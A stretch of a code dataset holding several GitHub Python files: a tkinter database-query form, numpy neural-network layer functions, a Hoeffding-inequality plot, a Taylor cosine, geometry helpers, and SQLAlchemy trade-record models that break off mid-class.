2\n","repo_name":"xiao9616/yolo4_tensorflow2","sub_path":"src/yolo4/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1220,"program_lang":"python","lang":"en","doc_type":"code","stars":193,"dataset":"github-code","pt":"7"} +{"seq_id":"37280437731","text":"import tkinter as tk\nfrom tkinter import ttk\nfrom tkinter import messagebox\n\n\nclass App(tk.Tk):\n def __init__(self):\n super().__init__()\n # Box Title\n self.title('DataBase Query and Expected value')\n self.text_box = tk.Text()\n\n\n # Width x Height\n self.geometry(\"850x250\")\n\n # Variable Declaration\n\n self.expected_value = tk.StringVar()\n self.database_string = tk.StringVar()\n self.server_string = tk.StringVar()\n\n # Variable Configurations\n self.columnconfigure(0, weight=1)\n self.columnconfigure(1, weight=1)\n self.columnconfigure(2, weight=1)\n self.columnconfigure(3, weight=1)\n\n # Creating Widget\n self.create_widgets()\n\n def create_widgets(self):\n\n # Spacing Functions\n\n padding = {'padx': 10, 'pady': 10}\n\n ###################################\n # Database Query\n ###################################\n\n # label\n ttk.Label(self, text='Database Query:').grid(column=0, row=0, **padding)\n\n # Creating \"Database Query\" Text Box Received From User Input Form\n #query_entry = ttk.Entry(self, textvariable=self.query_string, width=120)\n self.text_box.grid(row=0, column=1, pady=10, padx=10)\n self.text_box.place(x=350, y=15, width=400, height=60)\n self.grid_rowconfigure(0, weight=5)\n self.grid_columnconfigure(1, weight=5)\n\n\n # Apply Spacing Functions\n #query_entry.grid(column=1, row=0, **padding)\n\n #query_entry.focus()\n\n ###################################\n # Expected Value\n ###################################\n\n # label\n ttk.Label(self, text='Expected Value Query:').grid(column=0, row=3, **padding)\n\n # Creating Variable For \"Expected Value\" String Received From User Input Form\n expected_value_entry = ttk.Entry(self, textvariable=self.expected_value, width=5)\n\n # Apply Spacing Functions\n expected_value_entry.grid(column=1, row=3, **padding, columnspan=2)\n\n expected_value_entry.focus()\n\n ###################################\n # Database Name\n ###################################\n\n # label\n ttk.Label(self, text='Database Name:').grid(column=0, row=5, **padding)\n\n # Create List Variable \"Database_Values\" that contains selectable options\n database_values = [\n \"sleepstudy\",\n \"Example1\",\n \"Example2\",\n \"Example32\"]\n\n # Creating Variable For \"Database Name String\" String Received From User Input Form\n Database_Combo_Variable = ttk.Combobox(self, textvariable=self.database_string)\n\n # Apply List Variable to Combo\n Database_Combo_Variable['values'] = database_values\n\n # Set Initial Dropdown Title\n Database_Combo_Variable.set(\"Select From Database List\")\n\n # Set State to Read Only\n Database_Combo_Variable['state'] = 'readonly'\n\n # Set Location\n Database_Combo_Variable.place(x=400, y=140, width=200)\n\n ###################################\n # Server Name\n ###################################\n\n # label\n ttk.Label(self, text='Server Name:').grid(column=0, row=6, **padding)\n\n # Create List Variable \"Server_Values\" that contains selectable options\n server_values = [\n \"EC2AMAZ-O7K498H\\SQLEXPRESS\",\n \"Example1\",\n \"Example2\",\n \"Example3\"]\n\n # Creating Variable For \"Server String\" String Received From User Input Form\n combo = ttk.Combobox(self, textvariable=self.server_string)\n\n # Apply List Variable to Combo\n combo['values'] = server_values\n\n # Set Initial Dropdown Title\n combo.set(\"Pick a Server Option\")\n\n # Set State to Read Only\n combo['state'] = 'readonly'\n\n # Set Location\n combo.place(x=400, y=175, width=200)\n\n ###################################\n # Button\n ###################################\n\n # Button\n submit_button = ttk.Button(self, text='Submit', command=lambda: [self.confirm(),self.submit()])\n\n # Button Location Configurations\n submit_button.grid(column=1, row=7, **padding)\n\n ####################################\n # CONFIRMATION SELECTION FUNCTION\n ###################################\n\n def confirm(self):\n #TITLE /#MESSAGE / ICON\n msg_box = tk.messagebox.askquestion('Query Form Status',\n 'Are you sure you want to submit these values Received'\n , icon='warning')\n\n # If User Has Selected Yes, Continue Submit Function\n if msg_box == 'yes':\n self.quit()\n\n # If User Has Selected No, Return User to Original Form\n else:\n tk.messagebox.showinfo('Return', 'You will now return to the application screen')\n\n\n\n\n #######################\n # SUBMIT BUTTON FUNCTION\n ########################\n\n def submit(self):\n\n # Extract Query String From Text Box When Selecting Submit\n self.query_string_value = self.text_box.get('1.0', 'end')\n query_string_text = self.query_string_value\n print(query_string_text)\n\n # Extract Expected Value From Form When Selecting Submit\n self.expected_string_value = self.expected_value.get()\n expected_value_text = self.expected_string_value\n\n # Extract Expected DataBase Name From Form When Selecting Submit\n self.database_string_value = self.database_string.get()\n database_value_text = self.database_string_value\n\n # Extract Expected Server Name From Form When Selecting Submit\n self.server_string_value = self.server_string.get()\n server_value_text = self.server_string_value\n\n return query_string_text, expected_value_text, database_value_text, server_value_text\n\n\n\n############################\n# Historical Code\n############################\n\n# if __name__ == \"__main__\":\n# app = App()\n# app.mainloop()\n# test_pilot_gasstation_pricing(fixed_driver)\n\n\n# print(\"test\")\n# exec(test_01_pilot_gas_pricing.py)\n# print(query_string_text)\n# print(self.query_string_value)\n# self.expected_string_value = self.expected_value.get()\n# return query_string_text\n# self.query_string.get(), self.expected_value.get()\n\n# query_entry = ttk.Entry(self, textvariable=self.query_string, width=120)\n# query_entry.place(width=150, height=150,relx = 0.4, rely = 0.05)\n# query_entry.grid(column=0, row=1, **padding)\n\n# database_entry = ttk.Entry(self, textvariable=self.database_string, width=13)\n# database_entry.grid(column=1, row=5, **padding)\n# database_entry.focus()\n\n# query_entry = ScrolledText(self,wrap=tk.WORD)\n# self.query_entry = tk.Text(self, width=40, height=2, **padding)\n# self.query_entry.grid(column=0, row=1)\n# query_entry.focus()\n\n# print(query_string_text)\n# print(self.query_string_value)\n# self.expected_string_value = self.expected_value.get()\n# return query_string_text\n# self.query_string.get(), self.expected_value.get()\n\n\n# query_string = \"select count from [3_patient_summary_frequent_events] where patient_ecd_str = 940034766 and icd_major = 'G47'\"\n# expected_value = 3\n","repo_name":"CoreDevOpsGitHub/DataTesting","sub_path":"USER_INTERFFACE.PY","file_name":"USER_INTERFFACE.PY","file_ext":"py","file_size_in_byte":7318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"32865254649","text":"import numpy as np\n\n\ndef affine_forward(x, w, b):\n \"\"\"\n Computes the forward pass for an affine (fully-connected) layer.\n\n The input x has shape (N, d_1, ..., d_k) and contains a minibatch of N\n examples, where each example x[i] has shape (d_1, ..., d_k). We will\n reshape each input into a vector of dimension D = d_1 * ... * d_k, and\n then transform it to an output vector of dimension M.\n\n Inputs:\n :param x: A numpy array containing input data, of shape (N, d_1, ..., d_k)\n :param w: A numpy array of weights, of shape (D, M)\n :param b: A numpy array of biases, of shape (M,)\n\n :return:\n - out: output, of shape (N, M)\n - cache: x, w, b for back-propagation\n \"\"\"\n num_train = x.shape[0]\n x_flatten = x.reshape((num_train, -1))\n out = np.dot(x_flatten, w) + b\n cache = (x, w, b)\n return out, cache\n\n\ndef affine_backward(dout, cache):\n \"\"\"\n Computes the backward pass for an affine layer.\n :param dout: Upstream derivative, of shape (N, M)\n :param cache: Tuple of:\n x: Input data, of shape (N, d_1, ... d_k)\n w: Weights, of shape (D, M)\n\n :return: a tuple of:\n - dx: Gradient with respect to x, of shape (N, d1, ..., d_k)\n - dw: Gradient with respect to w, of shape (D, M)\n - db: Gradient with respect to b, of shape (M,)\n \"\"\"\n x, w, b = cache\n\n N = x.shape[0]\n x_flatten = x.reshape((N, -1))\n\n dx = np.reshape(np.dot(dout, w.T), x.shape)\n dw = np.dot(x_flatten.T, dout)\n db = np.dot(np.ones((N,)), dout)\n\n return dx, dw, db\n\n\ndef relu_forward(x):\n \"\"\"\n Computes the forward pass for a layer of rectified linear units (ReLUs).\n\n :param x: Inputs, of any shape\n :return: A tuple of:\n - out: Output, of the same shape as x\n - cache: x for back-propagation\n \"\"\"\n out = np.zeros_like(x)\n out[np.where(x > 0)] = x[np.where(x > 0)]\n\n cache = x\n\n return out, cache\n\n\ndef relu_backward(dout, cache):\n \"\"\"\n Computes the backward pass for a layer of rectified linear units (ReLUs).\n\n :param dout: Upstream derivatives, of any shape\n :param cache: Input x, of same shape as dout\n\n :return: dx - Gradient with respect to x\n \"\"\"\n x = cache\n\n dx = np.zeros_like(x)\n dx[np.where(x > 0)] = dout[np.where(x > 0)]\n\n return dx\n\n\ndef softmax_loss(x, y):\n \"\"\"\n Softmax loss function, vectorized version.\n y_prediction = argmax(softmax(x))\n\n :param x: (float) a tensor of shape (N, #classes)\n :param y: (int) ground truth label, a array of length N\n\n :return: loss - the loss function\n dx - the gradient wrt x\n \"\"\"\n loss = 0.0\n num_train = x.shape[0]\n\n x = x - np.max(x, axis=1, keepdims=True)\n x_exp = np.exp(x)\n loss -= np.sum(x[range(num_train), y])\n loss += np.sum(np.log(np.sum(x_exp, axis=1)))\n\n loss /= num_train\n\n neg = np.zeros_like(x)\n neg[range(num_train), y] = -1\n\n pos = (x_exp.T / np.sum(x_exp, axis=1)).T\n\n dx = (neg + pos) / num_train\n\n return loss, dx\n\n\ndef conv2d_forward(x, w, b, pad, stride):\n \"\"\"\n A Numpy implementation of 2-D image convolution.\n By 'convolution', simple element-wise multiplication and summation will suffice.\n The border mode is 'valid' - Your convolution only happens when your input and your filter fully overlap.\n Another thing to remember is that in TensorFlow, 'padding' means border mode (VALID or SAME). For this practice,\n 'pad' means the number rows/columns of zeroes to concatenate before/after the edge of input.\n\n Inputs:\n :param x: Input data. Should have size (batch, height, width, channels).\n :param w: Filter. Should have size (filter_height, filter_width, channels, num_of_filters).\n :param b: Bias term. Should have size (num_of_filters, ).\n :param pad: Integer. The number of zeroes to pad along the height and width axis.\n :param stride: Integer. The number of pixels to move between 2 neighboring receptive fields.\n\n :return: A 4-D array. Should have size (batch, new_height, new_width, num_of_filters).\n\n Note:\n To calculate the output shape of your convolution, you need the following equations:\n new_height = ((height - filter_height + 2 * pad) // stride) + 1\n new_width = ((width - filter_width + 2 * pad) // stride) + 1\n For reference, visit this website:\n https://adeshpande3.github.io/A-Beginner%27s-Guide-To-Understanding-Convolutional-Neural-Networks-Part-2/\n \"\"\"\n\n # size of input matrix\n batch, height, width, channels = x.shape\n \n # size of kernel\n filter_height, filter_width, filter_channel, num_filter = w.shape\n \n # the size of the output matrix in mode \"same\"\n out_height = (height - filter_height + 2*pad)//stride + 1\n out_width = (width - filter_width + 2*pad)//stride + 1\n # create result matrix\n out = np.zeros((batch, out_height, out_width, num_filter))\n \n for bat in range(batch):\n x_padding = np.pad(x[bat,:,:,:], ((pad,pad),(pad,pad),(0,0)), 'constant', constant_values=0)\n for row_out in range(out_height):\n row_start = row_out * stride\n for col_out in range(out_width):\n col_start = col_out * stride\n for cha_out in range(num_filter):\n result = 0\n for cha_in in range(channels):\n # the slice of x for convolution\n x_slice = x_padding[row_start:row_start+filter_height, col_start:col_start+filter_width, cha_in]\n # the kernel (here the convolution operation is actually correlation, \n # then the BP will use convolution to implement)\n kernel_slice = w[:,:,cha_in,cha_out]\n result += np.sum(x_slice * kernel_slice)\n # result\n out[bat,row_out,col_out,cha_out] = result + b[cha_out]\n \n return out\n\n\ndef conv2d_backward(d_top, x, w, b, pad, stride):\n \"\"\"\n (Optional, but if you solve it correctly, we give you 5 points for this assignment.)\n A lite Numpy implementation of 2-D image convolution back-propagation.\n\n Inputs:\n :param d_top: The derivatives of pre-activation values from the previous layer\n with shape (batch, height_new, width_new, num_of_filters).\n :param x: Input data. Should have size (batch, height, width, channels).\n :param w: Filter. Should have size (filter_height, filter_width, channels, num_of_filters).\n :param b: Bias term. Should have size (num_of_filters, ).\n :param pad: Integer. The number of zeroes to pad along the height and width axis.\n :param stride: Integer. The number of pixels to move between 2 neighboring receptive fields.\n\n :return: (d_w, d_b), i.e. the derivative with respect to w and b. For example, d_w means how a change of each value\n of weight w would affect the final loss function.\n\n Note:\n Normally we also need to compute d_x in order to pass the gradients down to lower layers, so this is merely a\n simplified version where we don't need to back-propagate.\n For reference, visit this website:\n http://www.jefkine.com/general/2016/09/05/backpropagation-in-convolutional-neural-networks/\n \"\"\"\n \n # for derivative of dx, dx = dout * w (mode='same', here '*' represents convolution)\n \n # for derivative of dw, dw = x * dout (mode='valid', here '*' represents correlation)\n # size of input matrix\n batch, height, width, channels = x.shape\n \n # size of kernel\n filter_height, filter_width, filter_channel, num_filter = w.shape\n \n _, out_height, out_width, _ = d_top.shape\n \n dw = np.zeros_like(w)\n db = np.zeros_like(b)\n \n for cha_in in range(channels):\n for cha_out in range(num_filter):\n for bat in range(batch):\n # convolution of x and dout\n for row_out in range(filter_height):\n row_start = row_out * stride\n for col_out in range(filter_width):\n col_start = col_out * stride\n x_slice = x[bat, row_start:row_start+out_height, col_start:col_start+out_width, cha_in]\n dtop_slice = d_top[bat,:,:,cha_out]\n dw[row_out,col_out,cha_in,cha_out] += np.sum(x_slice * dtop_slice)\n \n dw /= batch\n \n for cha_out in range(num_filter):\n db[cha_out] = np.sum(d_top[:,:,:,cha_out])\n # db /= batch\n \n return dw, db, dw.shape\n\n\ndef avg_pool_forward(x, pool_size, stride):\n \"\"\"\n A Numpy implementation of 2-D image average pooling.\n\n Inputs:\n :params x: Input data. Should have size (batch, height, width, channels).\n :params pool_size: Integer. The size of a window in which you will perform average operations.\n :params stride: Integer. The number of pixels to move between 2 neighboring receptive fields.\n :return :A 4-D array. Should have size (batch, new_height, new_width, num_of_filters).\n \"\"\"\n \n # size of input matrix\n batch, height, width, channels = x.shape\n \n # the size of the output matrix in mode \"same\"\n out_height = (height - pool_size)//stride + 1\n out_width = (width - pool_size)//stride + 1\n # create result matrix\n out = np.zeros((batch, out_height, out_width, channels))\n \n for bat in range(batch):\n x_padding = x[bat,:,:,:]\n for row_out in range(out_height):\n row_start = row_out * stride\n for col_out in range(out_width):\n col_start = col_out * stride\n for cha_in in range(channels):\n # the slice of x for convolution\n x_slice = x_padding[row_start:row_start+pool_size, col_start:col_start+pool_size, cha_in]\n # result\n out[bat,row_out,col_out,cha_in] = np.mean(x_slice)\n \n return out\n\n \ndef avg_pool_backward(dout, x, pool_size, stride):\n \"\"\"\n (Optional, but if you solve it correctly, we give you +5 points for this assignment.)\n A Numpy implementation of 2-D image average pooling back-propagation.\n\n Inputs:\n :params dout: The derivatives of values from the previous layer\n with shape (batch, height_new, width_new, num_of_filters).\n :params x: Input data. Should have size (batch, height, width, channels).\n :params pool_size: Integer. The size of a window in which you will perform average operations.\n :params stride: Integer. The number of pixels to move between 2 neighboring receptive fields.\n \n :return dx: The derivative with respect to x\n You may find this website helpful:\n https://medium.com/the-bioinformatics-press/only-numpy-understanding-back-propagation-for-max-pooling-layer-in-multi-layer-cnn-with-example-f7be891ee4b4\n \"\"\"\n \n # size of input matrix\n batch, height, width, channels = x.shape\n \n _, out_height, out_width, _ = dout.shape\n \n dx = np.zeros_like(x)\n \n for bat in range(batch):\n for row_out in range(out_height):\n row_start = row_out * stride\n for col_out in range(out_width):\n col_start = col_out * stride\n for cha_in in range(channels):\n # upsampling\n dx[bat, row_start:row_start+pool_size, col_start:col_start+pool_size, cha_in] = dout[bat, row_out,col_out, cha_in]/(pool_size**2)\n \n return dx\n","repo_name":"xs2445/CNN-PyCUDA-EECS4750-Project","sub_path":"utils/layer_functions.py","file_name":"layer_functions.py","file_ext":"py","file_size_in_byte":11491,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"7819261699","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.widgets import Slider, Button, RadioButtons\n\nfig, ax = plt.subplots()\n#equation title\nplt.xlabel('$\\epsilon$')\nfig.suptitle(r'$\\mathbb{P}[|v-\\mu|>\\epsilon]\\leq2e^{-2\\epsilon^{2}N}$',fontsize=20,color=\"black\",alpha=0.6)\nplt.subplots_adjust(left=0.25, bottom=0.25)\nx = np.arange(0.0, 1.0, 0.001)\n\na0 = 5\n\n\ns=2*np.exp((-2*x**2)*a0)\nl, = plt.plot(x, s, lw=2, color='red')\n#plt.axis([0, 1, -10, 10])\n\naxcolor = 'lightgoldenrodyellow'\n \naxamp = plt.axes([0.25, 0.10, 0.65, 0.03], facecolor=axcolor)\n\n \nsamp = Slider(axamp, 'N', 0.0, 100000.0, valinit=a0)\n\n\ndef update(val):\n amp = samp.val\n \n l.set_ydata(2*np.exp((-2*x**2)*amp))\n fig.canvas.draw_idle()\n \nsamp.on_changed(update)\n\nresetax = plt.axes([0.8, 0.025, 0.1, 0.04])\nbutton = Button(resetax, 'Reset', color=axcolor, hovercolor='0.975')\n\n\ndef reset(event):\n \n samp.reset()\nbutton.on_clicked(reset)\n\nrax = plt.axes([0.025, 0.5, 0.15, 0.15], facecolor=axcolor)\nradio = RadioButtons(rax, ('red', 'blue', 'green'), active=0)\n\n\n\ndef colorfunc(label):\n l.set_color(label)\n fig.canvas.draw_idle()\nradio.on_clicked(colorfunc)\n\n\nplt.show()\n","repo_name":"Lu-Yi-Hsun/machine-learning","sub_path":"Mathematics/Probability Theory/Hoeffding'sinequality_best.py","file_name":"Hoeffding'sinequality_best.py","file_ext":"py","file_size_in_byte":1170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"74125024572","text":"import numpy as np\nimport math\n\ndef taylorcos(x):\n x=x%(2.e0*np.pi)\n i=0\n S,oldS= 0.e0,0.e0\n\n\n for i in range(1000):\n oldS=S\n S+=float((((-1)**i) * (x**((2*i))))/float(math.factorial(((2*i)))))\n\n if oldS==S:\n break\n return S\n\nx = int(input(\"Please enter your angle\"))\n\nprint(\"The cosine of\", x, \"is\", taylorcos(x))\n","repo_name":"dgrin1/inclass_hw3_2020","sub_path":"cosinekb.py","file_name":"cosinekb.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"19033005652","text":"from shapely.geometry import LineString, Point\n\n\ndef map(x: int, a: int, b: int, c: int, d: int) -> float:\n \"\"\"\n Maps a number (x) that is between a and b to a equivalent number between c and d\n\n :param x: Number to map\n :type x: int\n\n :param a: Lower limit of original bound\n :type a: int\n\n :param b: Upper limit of original bound\n :type b: int\n\n :param c: Lower limit of new bound\n :type c: int\n\n :param d: Upper limit of new bound\n :type d: int\n\n :return: New number\n :rtype: float\n \"\"\"\n return (x - a) / (b - a) * (d - c) + c\n\n\ndef get_int(text: str) -> int:\n \"\"\"\n Gets a number from input, else complains about the input not being a number\n\n :param text: Display text for input prompt\n :type text: str\n\n :return: Number from input\n :rtype: int\n \"\"\"\n while True:\n try:\n return int(input(text))\n except ValueError:\n print(\"Not a number!\")\n\n\ndef intersect(a1, a2, b1, b2) -> list:\n \"\"\"\n Checks if a line that starts at a1 and goes infinitely toward of a2 intersects with a line segment (b1, b2)\n If they intersect, it returns the point where they intersect as a list\n\n :param a1: Starting point of line A\n :type a1: Vector\n\n :param a2: Direction of line A to extend\n :type a2: Vector\n\n :param b1: Starting point of line B\n :type b1: Vector\n\n :param b2: End point of line B\n :type b2: Vector\n\n :return: A point where the lines intersect, or an empty list if they don't\n :rtype: List[float, float]\n \"\"\"\n den = ((a2.x - a1.x) * (b2.y - b1.y)) - ((a2.y - a1.y) * (b2.x - b1.x))\n\n num1 = ((a1.y - b1.y) * (b2.x - b1.x)) - ((a1.x - b1.x) * (b2.y - b1.y))\n num2 = ((a1.y - b1.y) * (a2.x - a1.x)) - ((a1.x - b1.x) * (a2.y - a1.y))\n if not den:\n return []\n\n r = num1 / den\n s = num2 / den\n\n if 0 < r < 1 and s > 0:\n x = a1.x + r * (a2.x - a1.x)\n y = a1.y + r * (a2.y - a1.y)\n return [round(x, 2), round(y, 2)]\n else:\n return []\n\n\ndef segintersect(a1, a2, b1, b2):\n \"\"\"\n Checks if a line segment (a1, a2) intersects with another line segment (b1, b2)\n If they intersect, it returns the point where they intersect as a list\n\n :param a1: Starting point of line A\n :type a1: Vector\n\n :param a2: End point of line A\n :type a2: Vector\n\n :param b1: Starting point of line B\n :type b1: Vector\n\n :param b2: End point of line B\n :type b2: Vector\n\n :return: A point where the lines intersect, or an empty list if they don't\n :rtype: List[float, float]\n \"\"\"\n line1 = LineString([(a1.x, a1.y), (a2.x, a2.y)])\n line2 = LineString([(b1.x, b1.y), (b2.x, b2.y)])\n\n int_pt = line1.intersection(line2)\n return [int_pt.x, int_pt.y] if (type(int_pt) == Point) else []\n","repo_name":"Poccket/junk_repo","sub_path":"python/ray_cast/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":2803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"26732455463","text":"from __future__ import division, unicode_literals, print_function\nimport sys\nimport logging\nimport datetime\nimport decimal\nimport sqlalchemy\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy import Column, Integer, String\nfrom sqlalchemy import ForeignKey\nfrom sqlalchemy.orm import relationship, backref\n\nfrom cfd.config import Config\n\ng_config = Config()\n\nlogger = logging.getLogger(__name__)\n\n\nengine = sqlalchemy.create_engine(\n g_config.db_connect_str,\n echo=False)\nBase = declarative_base()\nSession = sqlalchemy.orm.sessionmaker(bind=engine)\n\n\ndef get_session():\n return Session()\n\n\ndef db_refresh_trades():\n ''' Delete and recreate generated tables for new processing run.'''\n\n t = Base.metadata.tables['stock_position']\n t.drop(engine, True)\n t.create(engine)\n t = Base.metadata.tables['stock_activity']\n t.drop(engine, True)\n t.create(engine)\n t = Base.metadata.tables['stock_trade']\n t.drop(engine, True)\n t.create(engine)\n\n\nclass ModelsError(Exception):\n \"\"\"Base class for exceptions in this module.\"\"\"\n def __init__(self, expr, msg):\n self.expr = expr\n self.msg = msg\n\n\nclass DecimalString(sqlalchemy.types.TypeDecorator):\n impl = sqlalchemy.types.String\n\n def process_bind_param(self, value, dialect):\n return str(value)\n\n def process_result_value(self, value, dialect):\n return decimal.Decimal(value)\n\n#\n# Grrrr.... \n#\nif g_config.is_sqlite():\n CurrencyType = DecimalString\nelse:\n CurrencyType = sqlalchemy.Numeric\n\n\n###############################################################################\n\n#=== ENUMS ===\n\nclass ActionType(object):\n OPEN \t\t= 1\n CLOSE \t\t= 2\n BUY_TO_OPEN \t= 3\n SELL_TO_CLOSE \t= 4\n EXERCISE = 5\n NAMES = ['???', 'OPEN', 'CLOSE', 'BUY TO OPEN', 'SELL TO CLOSE', 'EXERCISE']\n\n\nclass TradeStatus(object):\n OPEN = 1\n CLOSED = 2\n HOLD = 3\n NAMES = ['???', 'OPEN', 'CLOSED', 'HOLD']\n\n\n###############################################################################\n\n\n#=== Data Tables ===\n\n#\n# \"RawData\" (stock_raw)\n#\nclass RawData(Base):\n ''' Table for storing raw data imported from transaction data file.'''\n __tablename__ = 'stock_raw'\n\n CAT_UNKNOWN = 0 \n # Trades\n CAT_TRADE = 1 \n # Fees (cash transactions)\n # (Although there are fees like brokerage which belong to trades,\n # as opposed to fees like exchange data which are general, and more like \n # cash transactions...hmmm\n CAT_COMM = 2\n CAT_RISK = 3\n CAT_XFEE = 4\n # Interest (cash transactions)\n CAT_INTEREST = 5\n # other cash transactions \n CAT_DIVIDEND = 6\n CAT_TRANSFER = 7\n # index trades\n CAT_INDEX = 8\n\n\n id \t\t\t= Column(Integer, primary_key=True)\n import_id \t\t= Column(Integer, nullable = False) # order imported from input file\n type \t\t= Column(String(255), nullable = False) \n ref_date \t\t= Column(sqlalchemy.Date, nullable = False) \n broker_ref \t= Column(String(255), nullable = False) \n description \t= Column(String(255), nullable = False) \n period \t= Column(String(255), nullable = False) \n open \t\t= Column(CurrencyType, nullable = False)\n currency \t= Column(String(255), nullable = False) \n size \t\t= Column(Integer, nullable = False)\n close \t\t= Column(CurrencyType, nullable = False)\n amount \t\t= Column(CurrencyType, nullable = False)\n # Remaining fields are for scripting use, not imported from data.\n tags \t= Column(String(255), nullable = False) \n category \t\t= Column(Integer, nullable = False)\n position_id \t= Column(Integer, ForeignKey('stock_position.id'), nullable = True)\n activity_id\t = Column(Integer, ForeignKey('stock_activity.id'), nullable = True)\n\n def __init__(self, row, importid=0):\n self.init_from_list(row, importid)\n\n # Order of fields in raw ig input file is:\n #\n # TYPE DATE REF DESC PERIOD OPEN CURRENCY SIZE CLOSE AMOUNT\n #\n def init_from_list(self, row, importid=0):\n self.import_id = importid\n self.type = row[0]\n self.ref_date = datetime.datetime.strptime(row[1], '%d/%m/%y').date()\n self.broker_ref = row[2]\n self.description = row[3]\n self.period = row[4]\n self.open = decimal.Decimal(row[5])\n self.currency = row[6]\n self.size = row[7]\n self.close = decimal.Decimal(row[8])\n self.amount = decimal.Decimal(row[9])\n self.tags = \"\"\n self.category = self.CAT_UNKNOWN \n\n # Adjust price only for entries before December 2008.\n # Add tag to those entries that were adjusted.\n if self.type == 'DEAL' and self.ref_date < datetime.date(2008, 12, 1):\n if self.open > 0:\n self.open = self.open / 100\n if self.close > 0:\n self.close = self.close / 100\n self.tags += \"priceadjust|\"\n\n\ndef db_create():\n session = Session()\n Base.metadata.drop_all(engine) \n Base.metadata.create_all(engine) \n# db_populate_ref(session)\n\n\n\n#\n# Different terminology to the OX scripts. \n# \"Position\" will refer to a collection of one or more related trades.\n# Trade represents a parcel of security/derivative/instruments that has been \n# bought then sold (closed).\n# Activity represents a trade transaction, (buy, sell, etc)\n# So Trades consist of multiple Activities, and Positions consist of one or more Trades.\n# Position --> Trade --> Activity\n#\n# There is some deliberate de-normalisation and data duplication to make reporting easier\n# (for now)\n#\n\nclass StockPosition(Base):\n __tablename__ = 'stock_position'\n\n id \t\t\t= Column(Integer, primary_key=True)\n symbol \t\t= Column(String(255), nullable = False) \n description \t= Column(String(255), nullable = False) \n open_date \t\t= Column(sqlalchemy.DateTime, nullable = False) \n close_date \t\t= Column(sqlalchemy.DateTime, nullable = True) \n status_id \t\t= Column(Integer, nullable = False)\n entry_quantity \t= Column(CurrencyType, nullable = False)\n exit_quantity \t= Column(CurrencyType, nullable = False)\n entry_price \t= Column(CurrencyType, nullable = False)\n exit_price \t\t= Column(CurrencyType, nullable = False)\n brokerage \t\t= Column(CurrencyType, nullable = False)\n fees \t\t= Column(CurrencyType, nullable = False)\n net_total_cost \t= Column(CurrencyType, nullable = False)\n gross_total_cost \t= Column(CurrencyType, nullable = False)\n num_opens \t\t= Column(Integer, nullable = False)\n num_closes \t\t= Column(Integer, nullable = False)\n broker_ref \t\t= Column(String(255), nullable = False) \n\n\n def __init__(self, sym, desc, dt):\n self.symbol = sym\n self.description = desc\n self.open_date = dt\n self.status_id = TradeStatus.OPEN\n self.entry_quantity = 0\n self.exit_quantity = 0\n self.entry_price = 0\n self.exit_price = 0\n self.brokerage = 0\n self.fees = 0\n self.net_total_cost = 0\n self.gross_total_cost = 0\n self.num_opens = 0\n self.num_closes = 0\n self.broker_ref = \"\"\n\n\nclass StockActivity(Base):\n __tablename__ = 'stock_activity'\n \n id \t\t\t= Column(Integer, primary_key=True)\n position_id \t= Column(Integer, ForeignKey('stock_position.id') , nullable = True) \n # Stop gap for now. But for situations like 2 tranche open and 1 close, an open \n # activity will be associated with 2 trades! (But I can't imagine any situation \n # where 2 \"close\" activities would be associated with one trade...maybe option exercise???)\n trade_id \t\t= Column(Integer, ForeignKey('stock_trade.id'), nullable = True) \n ref_date \t\t= Column(sqlalchemy.DateTime, nullable = False) \n symbol \t\t= Column(String(255), nullable = False) \n description \t= Column(String(255), nullable = False) \n action_id \t\t= Column(Integer, nullable = False) # ForeignKey('action_type.id')) \n quantity \t\t= Column(CurrencyType, nullable = False)\n price \t\t= Column(CurrencyType, nullable = False)\n brokerage \t\t= Column(CurrencyType, nullable = False)\n fees \t\t= Column(CurrencyType, nullable = False)\n net_total_cost \t= Column(CurrencyType, nullable = False)\n gross_total_cost \t= Column(CurrencyType, nullable = False)\n broker_ref \t\t= Column(String(255), nullable = False) \n\n def __init__(self, action, raw=None, comm=None, sym=\"\", desc=\"\", dt=None):\n self.symbol = sym\n self.description = desc\n self.ref_date = dt\n self.action_id = action\n self.quantity = 0\n self.price = decimal.Decimal(0)\n self.brokerage = decimal.Decimal(0)\n self.fees = decimal.Decimal(0)\n self.net_total_cost = decimal.Decimal(0)\n self.gross_total_cost = decimal.Decimal(0)\n self.broker_ref = \"\"\n\n self.symbol = raw.description\n self.description = raw.description\n self.broker_ref = raw.broker_ref\n self.quantity = raw.size\n # If closed same day as open, there may not be a commission\n self.ref_date = raw.ref_date \n if self.action_id == ActionType.OPEN:\n self.price = raw.open\n # If comm is given, use data for open, otherwise assume \n # it was open on same day as closed.\n if comm:\n self.ref_date = comm.ref_date\n elif self.action_id == ActionType.CLOSE:\n self.price = raw.close\n else:\n logger.error(\"INVALID ACTION TYPE FOR %s\", raw.broker_ref)\n\n if comm:\n self.brokerage = comm.amount\n if self.brokerage < 0:\n self.brokerage *= -1\n\n\n# Exit Date\tEntry Date\tCompany\t\n# Buy Price\tQty\tTotal Position Entry\tEntry Commission\tOther Commission\t\n# Sell Price\tTotal Position Exit\tExit Commission\t\n# Gross Return\tNet Return\tGross % Return\tNET % Return\nclass StockTrade(Base):\n __tablename__ = 'stock_trade'\n \n id \t\t\t= Column(Integer, primary_key=True)\n position_id \t= Column(Integer, ForeignKey('stock_position.id')) \n import_id \t\t= Column(Integer, nullable = False) # order imported from input file\n entry_date \t\t= Column(sqlalchemy.DateTime, nullable = False) \n exit_date \t\t= Column(sqlalchemy.DateTime, nullable = False) \n symbol \t\t= Column(String(255), nullable = False) \n description \t= Column(String(255), nullable = False) \n quantity \t\t= Column(CurrencyType, nullable = False)\n entry_price\t\t= Column(CurrencyType, nullable = False)\n exit_price \t\t= Column(CurrencyType, nullable = False)\n entry_brokerage\t= Column(CurrencyType, nullable = False)\n exit_brokerage\t= Column(CurrencyType, nullable = False)\n fees \t\t= Column(CurrencyType, nullable = False)\n #net_total_cost \t= 